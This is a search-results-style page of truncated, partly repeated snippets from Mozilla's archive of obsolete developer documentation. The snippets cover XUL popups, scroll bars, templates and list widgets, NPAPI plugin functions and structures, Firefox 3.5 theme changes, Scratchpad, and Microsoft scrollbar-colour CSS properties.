ups, described below. the main difference is the way in which they appear. plain popups the plain popup is a popup window which appears when the user presses the left mouse button on an element. they are much like the menus on the menu bar, except that they can be placed anywhere and can contain any content. a good example is the drop down menu that appears when you click on the little down arrows next to the back and forward buttons in a browser window. context popups the context popup is a popup window which appears when the user presses the context menu button, which is usually the right mouse button. the exact way that a context menu is opened varies on each platform. on the macintosh for example, the user can either press the control key and click the mouse button, or hold the mouse...
...nt like other popup types. popup alignment by default, the popup and context windows will appear where the mouse pointer is. tooltips will be placed slightly below the element so that the mouse pointer does not obscure it. there are cases however, where you will want to indicate in more detail where the popup appears. for example, the popup menu that appears when you click the back button in a browser should appear underneath the back button, not where the mouse pointer is. to change the popup position, you can use an additional attribute, position, on the menupopup. you can also add it to the menupopup element. this attribute is used to indicate the placement of the popup relative to the element invoking the popup. it can be set to a number of values, which are described briefly below: ...
...he placement of the popup relative to the element invoking the popup. it can be set to a number of values, which are described briefly below: after_start the popup appears below the element with the left edges of the element and the popup window aligned. if the popup window is larger than the element, is extends to the right. this is the value used for the drop-down menus associated with the browser's back and forward buttons. after_end the popup appears below the element with the right edges of the element and the popup window aligned. before_start the popup appears above the element with the left edges of the element and the popup window aligned. before_end the popup appears above the element with the right edges of the element and the popup window aligned. end_after the popup ap...
Scroll Bars - Archive of obsolete content
value ranges from 0 to the value of maxpos. this value does not need a unit. the default value is 0. maxpos this indicates the maximum position of the scroll bar thumb. the is a numeric value and does not have a unit. the default value is 100. increment the value here specifies how much the value of curpos changes by when the user clicks on one of the scroll bar arrows. the default value is 1. pageincrement the value here specifies how much the value of curpos changes by when the user clicks pages through the scroll bar, which can be done by clicking on the tray between the box and the arrows. the default value is 10. the example given in the syntax above will create a scroll bar that can range from a value of 0 to 100. the value 100 might be t...
... through the scroll bar, which can be done by clicking on the tray between the box and the arrows. the default value is 10. the example given in the syntax above will create a scroll bar that can range from a value of 0 to 100. the value 100 might be the number of lines in a list, but it could be anything you want. the initial value in this example is 20. when clicking on one of the scroll bar arrows, the value would change by 1 either up or down. by paging through the scroll bar, the value will change by 10. when the user clicks the scroll bar arrows, the thumb will move by the amount specified by the value increment. increasing the value of this attribute will cause the scroll bar to move farther with each click. the leftmost or topmost position of the scroll bar has the value 0 and the rig...
...ment. increasing the value of this attribute will cause the scroll bar to move farther with each click. the leftmost or topmost position of the scroll bar has the value 0 and the rightmost or bottommost position of the scroll bar has the value given by maxpos. by adjusting the values of the scroll bar, you can have the thumb positioned just as you want it and the change when the user clicks the arrows just as you want it. next, we'll find out how to create toolbars. « previousnext » ...
Templates - Archive of obsolete content
a tree or menu. this example and any others that reference internal rdf datasources will only work if you load them from a chrome url. for security reasons, mozilla doesn't allow access to them from other sources. to view this example, you will need to create a chrome package and load the file from there (you can do this easily, see manifest files). you can then enter the chrome url into the browser url field. example 1 : source <vbox datasources="rdf:bookmarks" ref="nc:bookmarksroot" flex="1"> <template> <button uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </template> </vbox> here, a vertical box has been created that will contain a column of buttons, one for each top-level bookmark. you can see that the template contains a single button. this single button...
..."/> </template> </vbox> here, a vertical box has been created that will contain a column of buttons, one for each top-level bookmark. you can see that the template contains a single button. this single button is used as a basis for all the buttons that need to be created. you can see in the image that the set of buttons has been created, one for each bookmark. try adding a bookmark in the browser while you have the example window open. you'll notice that the buttons in the example get updated instantly. (you may have to focus the window for it to change.) container and datasources the template itself is placed inside a vertical box. the box has two special attributes that allow it to be used for templates, which are used to specify where the data comes from. the first attribute on the...
... <label uri="rdf:*" value="rdf:http://home.netscape.com/nc-rdf#name"/> </hbox> </template> if there is other content inside the element with the datasources attribute but outside the template, that content will also appear. this way, you can mix static content and dynamic content from a template. tree builder the tree builder, on the other hand, doesn't generate the dom elements for the rows. instead, it gets the data directly from the rdf datasource whenever it needs it. since trees are often expected to display thousands of rows of data, this is much more efficient. creating an element for every cell would be too costly. however, the tradeoff is that trees may only display text, and, since no elements are created, you can't use css properties to style tree cells in the same way. t...
Urlbar-icons - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
...tes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
...the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
The Implementation of the Application Object Model - Archive of obsolete content
e to have two parallel languages, one for describing applications, and the other for describing documents that can be used by those applications. it does not make sense to confuse or obscure the purpose of html by adding in a whole slew of new functionality that hasnothing to do with the display of web pages. what content developers want from the next release of mozilla is a standards-compliant browser. if we ship a browser that does not have 100% support for css2, for example, but we've extended html by adding 20-30 new tags, people are going to put down their blinders and see only the fact that we were off adding a whole slew of new stuff to html when we could have been firming up our standards story. by making xul a separate beast, this is less of an issue. since an aom tree cannot be plac...
...ully css responsive, which would mean they might look strange when placed in a dialog or on a toolbar with a rendered background. of course you could always say that toolbars and dialogs just wouldn't be able to have backgrounds with different colors, but that leads into the next point. a staggering loss of functionality. an incredible array of features would be lost. yes, you'd probably ship a browser slightly faster than with the xul-based approach, but the features that would be lost are too compelling to ignore. these include: configurable ui, the ability to place html inside widgets like the trees and toolbars, scriptability of those widgets, scriptability of the ui, local/remote merging, aggregation of data... the list goes on and on. future time-saving. xp development takes much less ...
...erging, aggregation of data... the list goes on and on. future time-saving. xp development takes much less time than native platform development. but if we pay the cost and get xul into the system now, in the future xul development will take even less time than xp development. the additional cost up front to implement xul is worth it for the amount of time it will save in future versions of the browser. timing. it's now or never. if this approach isn't taken now, then we'll fall back into our old pattern. this is the pivotal point, because the apps are all being re-written from scratch. for this particular codebase, if we don't do this from start, we won't do it at all. why use rdf at all? ok, ok. so you've convinced me that xul is the way and the light. but why do you need to use rdf at ...
richlistbox - Archive of obsolete content
roperties accessibletype, currentindex, currentitem, disabled, disablekeynavigation, itemcount, scrollboxobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> ...
...nnects the element to a corresponding preference. this attribute only has any effect when used inside a prefwindow. more information is available in the preferences system article. seltype type: one of the values below used to indicate whether multiple selection is allowed. single only one row may be selected at a time. (default in listbox and richlistbox.) multiple multiple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary column. for richlistbox, this is new in firefox 3.5. suppressonselect type: boolean if this attribute is not specified, a select event...
... have been scrolled down, this function will retrieve the index of the first row that the user can see. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. getnumberofvisiblerows() return type: integer returns the number of rows that are currently visible to the user. getrowcount() return type: integer returns the total number of rows in the element, regardless of how many rows are displayed. getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using this method. the argument inde...
toolbarpalette - Archive of obsolete content
em is a palette of available toolbar items. it is not displayed, but is used by the toolbar customization dialog to display the list of items. the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar. do not add the various spacing items, as those are added automatically. ...
...used by the toolbar customization dialog to display the list of items. the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar. do not add the various spacing items, as those are added automatically. you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
...e list of items. the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar. do not add the various spacing items, as those are added automatically. you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
2006-18-24 - Archive of obsolete content
please see mozilla.dev.platform faq for solution. meetings no meetings this week ...
...please see mozilla.dev.platform faq for solution. meetings no meetings this week ...
...please see mozilla.dev.platform faq for solution. meetings no meetings this week ...
NPEvent - Archive of obsolete content
ds of the instance. key events: sent if the instance has text focus (see below). update events: sent if the update region intersects the instance's bounds. activate events: sent to all instances in the window being activate or deactivated. suspend/resume events: sent to all instances in all windows. null events: sent to all instances in all windows. in addition to these standard types, the browser provides three additional event types that can be passed in the what field of the eventrecord: getfocusevent: sent when the instance could become the focus of subsequent key events, when the user clicks the instance or presses the tab key to focus the instance. if your instance accepts key events, return true, and key events will be sent to the instance until it receives a losefocusevent. i...
...rd: getfocusevent: sent when the instance could become the focus of subsequent key events, when the user clicks the instance or presses the tab key to focus the instance. if your instance accepts key events, return true, and key events will be sent to the instance until it receives a losefocusevent. if your plug-in ignores key events, return false, and the key events will be processed by the browser itself. losefocusevent: sent when the instance has lost the text focus, as a result of the user clicking elsewhere on the page or pressing the tab key to move the focus. no key events are sent to the instance until the next getfocusevent. adjustcursorevent: sent when the mouse enters or leaves the bounds of the instance. if your plug-in wants to set the cursor when the mouse is within the in...
... clicking elsewhere on the page or pressing the tab key to move the focus. no key events are sent to the instance until the next getfocusevent. adjustcursorevent: sent when the mouse enters or leaves the bounds of the instance. if your plug-in wants to set the cursor when the mouse is within the instance, set the cursor and return true. if you don't want a special cursor, return false and the browser will use the standard arrow cursor. xwindows description the npevent object represents an event passed by npp_handleevent() to a windowless plug-in. the npevent structure is defined as xevent, the definition of the event type used by the xwindows platform. for information about the xevent structure and xwindows events, see the xwindows documentation. as the xevents sent to the plug-in are synt...
NPN_GetAuthenticationInfo - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary the function is called by plugins to get http authentication information from the browser. syntax #include <npapi.h> nperror npn_getauthenticationinfo(npp instance, const char *protocol, const char *host, int32_t port, const char *scheme, const char *realm, char **username, uint32_t *ulen, char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in instanc...
...2_t *ulen, char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in instance protocol protocol name (uri scheme) host host name port port number scheme http authentication scheme name realm http authentication realm username out parameter. the browser passes back the http username. if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for freeing the buffer. note: the username may have internal null bytes and may not be null-terminated. ulen out parameter. the length of the returned username buffer. password out parameter. the browser passes back the http password. if the function succ...
...erminated. plen out parameter. the length of the returned password buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description plugin which implement their own http networking stack (such as the java plugin) may want to use the standard http auth prompts and password managed of the browser. this function allows the plugin to ask the browser for http authentication information for a domain. unless the plugin has special networking needs, it is recommended to use the standard network apis, such as npn_geturlnotify/npn_posturlnotify. see also npn_setvalueforurl, npn_getvalueforurl ...
NPN_GetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary provides information to a plugin which is associated with a given url, for example the cookies or preferred proxy. syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_getvalueforurl(npp instance, npnurlvariable variable, const char *url, char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the type of information to be retrieved (npnurlvcookie or npnurlvproxy) url the url for which to fetch information. value out parameter. ...
... const char *url, char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the type of information to be retrieved (npnurlvcookie or npnurlvproxy) url the url for which to fetch information. value out parameter. the browser passes back the requested information. if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for freeing the buffer. note: the value may have internal null bytes and may not be null-terminated. when multiple cookies are returned for a given url, the format of the return value is: cookie1=value1;cookie2=value2;cookie3=value3 len out par...
...1;cookie2=value2;cookie3=value3 len out parameter. the length of the returned value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description this entry point is designed to allow plugins which implement their own http stacks to form requests to the web server in the same way the browser does. see also npn_setvalueforurl, npn_getauthenticationinfo ...
NPN_MemAlloc - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary allocates memory from the browser's memory space. syntax #include <npapi.h> void *npn_memalloc (uint32 size); parameters the function has the following parameters: size size of memory, in bytes, to allocate in the browser's memory space. returns if successful, the function returns a pointer to the allocated memory, in bytes. if insufficient memory is available, the plug-in returns null. description the plug-in calls npn_memalloc to allocate a specified amount of memory in the browser's memory space. if you allocate saved instance data with npp_destroy, be sure to use npn_memalloc to allocate memory. ...
... returns if successful, the function returns a pointer to the allocated memory, in bytes. if insufficient memory is available, the plug-in returns null. description the plug-in calls npn_memalloc to allocate a specified amount of memory in the browser's memory space. if you allocate saved instance data with npp_destroy, be sure to use npn_memalloc to allocate memory. this ensures that the browser can free the saved data at a later time with the equivalent of npn_memfree. since the browser and plug-ins share the same memory space, npn_memalloc allows plug-ins to take advantage of any customized memory allocation scheme the application may have, and allows the application to manage its memory more flexibly and efficiently. mac os npn_memalloc is particularly important on mac os, since t...
...since npn_memalloc automatically frees cached information if necessary to fulfill the request, calls to npn_memalloc may succeed where direct calls to newptr fail. existing calls to npn_memflush have no effect. ...
NPN_RequestRead - Archive of obsolete content
stream stream of type np_seek from which to read bytes. rangelist range of bytes in the form of a linked list of npbyterange objects, each of which specifies a request for a range of bytes. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description for a seekable stream, the browser sends data only in response to requests by the plug-in. the plug-in calls npn_requestread() to request data from a seekable stream. the plug-in can use this function to make one or more requests for ranges of bytes. these requests result in subsequent calls to npp_writeready() and npp_write(). for multiple requests, the function creates a linked list of npbyterange structures, each of which rep...
...or ranges of bytes. these requests result in subsequent calls to npp_writeready() and npp_write(). for multiple requests, the function creates a linked list of npbyterange structures, each of which represents a separate request. if the plug-in requests multiple ranges (either through a list of npbyterange objects in a single call to npn_requestread(), or multiple calls to npn_requestread()), the browser can write individual ranges in any order, and with any number of npp_writeready() and npp_write() calls. the plug-in must allocate npbyterange objects, which the browser copies if necessary. the plug-in can free these as soon as the call returns. seekable streams are created by calling npp_newstream() with np_seek as the stype mode. the plug-in can call npn_requestread() on streams that were ...
.... seekable streams are created by calling npp_newstream() with np_seek as the stype mode. the plug-in can call npn_requestread() on streams that were not initially in np_seek mode as long as the stream is inherently seekable; npn_requestread() automatically changes the mode to np_seek. if the stream is not inherently seekable, the stream must have been put in np_seek mode initially (since the browser must cache all the stream data on disk in order to access it randomly). if npn_requestread() is called on a stream that is not inherently seekable and not initially in mode np_seek, it returns the error code nperr_stream_not_seekable. typically, the only streams that are inherently seekable are those from in-memory or on-disk data, or from http servers that support byte-range requests. see al...
NPN_Write - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary pushes data into a stream produced by the plug-in and consumed by the browser. syntax #include <npapi.h> int32 npn_write(npp instance, npstream* stream, int32 len, void* buf); parameters the function has the following parameters: instance pointer to the current plug-in instance. stream pointer to the stream into which to push the data. len length in bytes of the data specified by buf. buf a pointer to a buffer of data to deliver to the stream. returns if successful, the function returns a positive integer representing the number of bytes written (consumed by the browser). ...
...e current plug-in instance. stream pointer to the stream into which to push the data. len length in bytes of the data specified by buf. buf a pointer to a buffer of data to deliver to the stream. returns if successful, the function returns a positive integer representing the number of bytes written (consumed by the browser). this number depends on the size of the browser's memory buffers, the number of active streams, and other factors. if unsuccessful, the plug-in returns a negative integer. this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream(). description npn_write() delivers a buffer from the stream to the instance. a plug-in can call this function multiple...
...see "example of sending a stream" for an example that includes npn_write(). example this example pushes a snippet of html over a newly created stream, then destroys the stream when it's done. ...
NPP - Archive of obsolete content
description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new(). this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should opera...
...ata */ void* ndata; /* mozilla private data */ } npp_t; typedef npp_t* npp; fields the data structure has the following fields: pdata a value, whose definition is up to the plug-in, that the plug-in can use to store a pointer to an internal data structure associated with the instance; this field isn't modified by the browser. ndata a private value, owned by the browser, which is used to store data associated with the instance; this value should not be modified by the plug-in. description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new(). this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate. npp contains private instance data for both the plug-in...
...is used to store data associated with the instance; this value should not be modified by the plug-in. description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new(). this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate. npp contains private instance data for both the plug-in and the browser. the npp_destroy() function informs the plug-in when the npp instance is about to be deleted; after this call returns, the npp pointer is no longer valid. see also npp_new() npp_destroy() ...
NPP_New - Archive of obsolete content
nclude <npapi.h> nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); parameters the function has the following parameters: plugintype pointer to the mime type for new plug-in instance. instance contains instance-specific private data for the plug-in and the browser. this data is stored in instance->pdata. mode display mode of plug-in. values: np_embed: (1) instance was created by an embed tag and shares the browser window with other content. np_full: (2) instance was created by a separate file and is the primary content in the window. argc number of html arguments in the embed tag for an embedded plug-in; determines the number of attri...
... arguments in the embed tag for an embedded plug-in; determines the number of attributes in the argn and argv arrays. argn[] array of attribute names passed to the plug-in from the embed tag. argv[] array of attribute values passed to the plug-in from the embed tag. saved pointer to data saved by npp_destroy for a previous instance of this plug-in at the same url. if non-null, the browser passes ownership of the npsaveddata object back to the plug-in. the plug-in is responsible for freeing the memory for the npsaveddata and the buffer it contains. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description npp_new creates a new instance of a plug-in. it is called after...
...ance pointer (npp instance) is created by the plug-in, which is valid until the instance is destroyed with npp_destroy. if instance data was saved from a previous instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use. all attributes in the embed tag (standard and private) are passed in npp_new in the argn and argv arrays. the browser ignores any non-standard attributes within an embed tag. this gives developers a chance to use private attributes to communicate instance-specific options or other information to the plug-in. place private options at the end of the list of standard attributes in the embed tag. see also npp_destroy, np_shutdown, npp, npsaveddata ...
NPP_Write - Archive of obsolete content
eam pointer to the current stream. offset offset in bytes of buf from the beginning of the data in the stream. can be used to check stream progress or by range requests from npn_requestread. len length in bytes of buf; number of bytes accepted. buf buffer of data, delivered by the stream, that contains len bytes of data offset bytes from the start of the stream. the buffer is allocated by the browser and is deleted after returning from the function, so the plug-in should make a copy of the data it needs to keep. returns the plug-in should return the number of bytes written (consumed by the instance). if the return value is smaller than the size of the buffer, the browser sends the remaining data to the plug-in through subsequent calls to npp_writeready and npp_write. if unsuccessful, the ...
...ug-in should make a copy of the data it needs to keep. returns the plug-in should return the number of bytes written (consumed by the instance). if the return value is smaller than the size of the buffer, the browser sends the remaining data to the plug-in through subsequent calls to npp_writeready and npp_write. if unsuccessful, the function signals an error by returning a negative value. the browser will destroy the stream by calling npp_destroystream. description the browser calls the npp_write function to deliver the data specified in a previous npp_writeready call to the plug-in. ...
...nction signals an error by returning a negative value. the browser will destroy the stream by calling npp_destroystream. description the browser calls the npp_write function to deliver the data specified in a previous npp_writeready call to the plug-in. a plug-in must consume at least as many bytes as indicated in the npp_writeready call. after a stream is created by a call to npp_newstream, the browser calls npp_write either: if the plug-in requested a normal-mode stream, the data in the stream is delivered to the plug-in instance in a series of calls to npp_writeready and npp_write. if the plug-in requested a seekable stream, the npn_requestread function requests reads of a specified byte range that results in a series of calls to npp_writeready and npp_write. the plug-in can use the offse...
NPP_WriteReady - Archive of obsolete content
maximum number of bytes that the plug-in can consume. syntax #include <npapi.h> int32 npp_writeready(npp instance, npstream* stream); parameters the function has the following parameters: instance pointer to the current plug-in instance. stream pointer to the current stream. returns returns the maximum number of bytes that an instance is prepared to accept from the stream. description the browser calls npp_writeready before each call to npp_write to determine whether a plug-in can receive data and how many bytes it can receive. this function allows the browser to send only as much data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in. the npp_write function may pass a larger buffer, but the plug-in is required to consume o...
... determine whether a plug-in can receive data and how many bytes it can receive. this function allows the browser to send only as much data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in. the npp_write function may pass a larger buffer, but the plug-in is required to consume only the amount of data returned by npp_writeready. the browser can write a smaller amount of data if desired or necessary; for example, if only 8k of data is available in a network buffer. if the plug-in is allocating memory for the entire stream at once (an as_file stream), it can return a very large number. ...
...ut the plug-in is required to consume only the amount of data returned by npp_writeready. the browser can write a smaller amount of data if desired or necessary; for example, if only 8k of data is available in a network buffer. if the plug-in is allocating memory for the entire stream at once (an as_file stream), it can return a very large number. because it is not processing streaming data, the browser can pass as much data to the instance as necessary in a single npp_write. if the browser receives a value of zero, the data flow temporarily stops. the browser checks to see if the plug-in can receive data again by resending the data at regular intervals. see also npp_write, npstream, npp ...
NPSetWindowCallbackStruct - Archive of obsolete content
ndow environment. syntax typedef struct { int32 type; display* display; visual* visual; colormap colormap; unsigned int depth; } npsetwindowcallbackstruct; fields the data structure has the following fields: type always contains np_setwindow. display standard x toolkit attribute. pointer to the display structure that represents the browser-server connection. visual standard x toolkit attribute. x visual for the plug-in window or drawable. colormap standard x toolkit attribute. colormap for the plug-in window or drawable. depth standard x toolkit attribute. depth of the plug-in window or drawable. description callback structures are used to pass platform-specific information. the npsetwindowcallbacks...
...al standard x toolkit attribute. x visual for the plug-in window or drawable. colormap standard x toolkit attribute. colormap for the plug-in window or drawable. depth standard x toolkit attribute. depth of the plug-in window or drawable. description callback structures are used to pass platform-specific information. the npsetwindowcallbackstruct object, allocated by the browser, contains information required for the ws_info field of an npwindow. the npp_setwindow() function passes a pointer to this structure to the plug-in. the structure is valid for the lifetime of the npwindow, that is, until npp_setwindow() is called again or the instance is destroyed. the type field of this structure always contains np_setwindow. the remaining fields are standard x toolkit attribu...
...ws_info field of an npwindow. the npp_setwindow() function passes a pointer to this structure to the plug-in. the structure is valid for the lifetime of the npwindow, that is, until npp_setwindow() is called again or the instance is destroyed. the type field of this structure always contains np_setwindow. the remaining fields are standard x toolkit attributes of the top-level shell window in the browser window hierarchy. see also npp_setwindow() npwindow npprintcallbackstruct npanycallbackstruct ...
NPStream - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser. syntax typedef struct _npstream { void* pdata; /* plug-in private data */ void* ndata; /* netscape private data */ const char* url; uint32 end; uint32 lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser. ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in. url ...
...to npvers_has_response_headers. this field is used only for http and is null for other types of streams. the plug-in should copy this data before making use of it. the headers include the http status line and all headers, verbatim as received from the server. lines are terminated by newline characters ("\n"), and the headers are terminated by a newline followed by null ("\n\0"). description the browser allocates and initializes the npstream object and passes it to the plug-in in as a parameter to npp_newstream or npn_newstream. the browser cannot delete the object until after it calls npp_destroystream or the plug-in calls npn_destroystream. streams produced by the browser: the browser creates the npstream object and passes it to the plug-in initially as a parameter to npp_newstream. all api ...
...tream or npn_newstream. the browser cannot delete the object until after it calls npp_destroystream or the plug-in calls npn_destroystream. streams produced by the browser: the browser creates the npstream object and passes it to the plug-in initially as a parameter to npp_newstream. all api calls that operate on the stream (such as npp_writeready and npp_write) use a pointer to this stream. the browser informs the plug-in when the stream is about to be deleted through npp_destroystream, after which the npstream object is no longer valid. streams produced by the plug-in: the browser creates the npstream object and returns it as an output parameter when the plug-in calls npp_newstream. the plug-in must pass a pointer to the npstream to all api calls that operate on the stream, such as npn_write...
Theme changes in Firefox 3.5 - Archive of obsolete content
affected files details scrollbar.xml, xulscrollbars.css the <gripper> element was removed from the scrollbar thumb button by bug 448704. for the windows and linux native default themes, the gripper is now drawn as a part of the background of the scrollbar thumb widget. ...
..., opaque windows always had a shadow and transparent windows never had a shadow. after that change, transparent windows also have a shadow by default. this can result in unwanted shadows in your theme, e.g. under the autoscroll icon or the identity panel. if you don't want the shadow, you can turn it off by setting the new -moz-window-shadow css property to none on the affected element. browser.xul bug 463189 added a new attribute on the xul window element of browser.xul named browsingmode. the value of this attribute is normal when the private browsing mode is inactive, and private when it's active. this attribute can be used to style different parts of the browser window inside the private browsing mode. see this blog post for an example. supporting 3.5 features vide...
...video/audio player: controlbar has to be styled (chrome://global/skin/media/videocontrols.css) shadow effect for disabled text using text-shadow. greying menus of inactive windows: active windows get attribute 'active="true"'. to do this only for 3.5 use a css selector that is only supported in 3.5, like so: window:not([active="true"]) menubar>menu:nth-child(1n) { color:threedshadow } private browsing: show private browsing state by coloring the url bar, or by adding an icon to the toolbox/tabbrowserbar. see private browsing for theme designers for details. native hyperlink color: use -moz-nativehyperlinktext, to select the computer's native hyperlink color. all known changes for a list of all the known changes see: mozillazine's forum: theme changes for firefox 3.5 ...
Scratchpad - Archive of obsolete content
n executes the selected code, then inserts the result directly into your scratchpad editor window as a comment, so you can use it as a repl. reload and run the reload and run option is only available in the execute menu. it first reloads the page, then executes the code when the page's "load" event fires. this is useful for running the code in a pristine environment. ...
... into your scratchpad editor window as a comment, so you can use it as a repl. reload and run the reload and run option is only available in the execute menu. it first reloads the page, then executes the code when the page's "load" event fires. this is useful for running the code in a pristine environment. running scratchpad in the browser context you can run scratchpad in the context of the browser as a whole rather than a specific web page. ...
...or running the code in a pristine environment. running scratchpad in the browser context you can run scratchpad in the context of the browser as a whole rather than a specific web page. this is useful if you are working on firefox itself or developing add-ons. to do this check "enable chrome and add-on debugging" in the developer tool settings. once you've done this, the environment menu has a browser option; once that's selected, your scope is the entire browser rather than just the page content, as you will see from examining some globals: window /* [object chromewindow] */ gbrowser /* [object xulelement] */ the scratchpad execution context is set to browser when a snippet file has // -sp-context: browser on the first line. keyboard shortcuts command windows macos ...
Using Web Standards in your Web Pages - Archive of obsolete content
the first 2 sections address exclusively validation issues, benefits of validation, deprecated elements, deprecated attributes. how to upgrade a webpage markup code to pass validation and how to implement css are addressed by providing recommendations, tutorials and references. ...
...cated attributes. how to upgrade a webpage markup code to pass validation and how to implement css are addressed by providing recommendations, tutorials and references. the other sections address dom and dhtml coding practices which are at odds with the w3c web standards and suggest replacements. every proposed w3c web standards replacement in this article is working without a problem in modern browsers like msie 7, firefox 2, opera 9, safari 3, konqueror 3.5+, icab 4, etc. the next-to-last section, summary of changes, outlines all the changes described in this article. the last section offers excellent and best references for those wishing to learn more about upgrading techniques presented in this article and more for those wishing to perfect their web pages. contents benefits of using ...
...on, summary of changes, outlines all the changes described in this article. the last section offers excellent and best references for those wishing to learn more about upgrading techniques presented in this article and more for those wishing to perfect their web pages. ...
-ms-scrollbar-arrow-color - Archive of obsolete content
the -ms-scrollbar-arrow-color css property is a microsoft extension that specifies the color of the arrow elements of a scroll arrow. initial valuebuttontextapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll arrows of the scroll bar. formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]? ) | rgb( <number>{3} [ / <alpha-value> ]? ) | rgb( <percentage>#{3} , <alpha-value>? ) | rgb( <number>#{3} , <alpha-value>? )<rgba()> = rgba( <percentage>{3} [ / <alpha-value> ]? ) | rgba( <number>{3} [ / <alpha-value> ]? ) | rgba( <percentage>#{3} , <alpha-value>? )...
... div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> ...
...a( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples the following example shows how to use -ms-scrollbar-arrow-color and -ms-scrollbar-face-color to display a scroll bar with a blue scroll box and arrows, and a scroll bar with a green scroll box and arrows. div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor s...
-ms-scrollbar-face-color - Archive of obsolete content
the -ms-scrollbar-face-color css property is a microsoft extension that specifies the color of the scroll box and scroll arrows of a scroll bar. initial valuethreedfaceapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll box and scroll arrows. formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]? ) | rgb( <number>{3} [ / <alpha-value> ]? ) | rgb( <percentage>#{3} , <alpha-value>? ) | rgb( <number>#{3} , <alpha-value>? )<rgba()> = rgba( <percentage>{3} [ / <alpha-value> ]? ) | rgba( <number>{3} [ / <alpha-value> ]? ) | rgba( <percentage>#{3} , <alpha-v...
... div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> ...
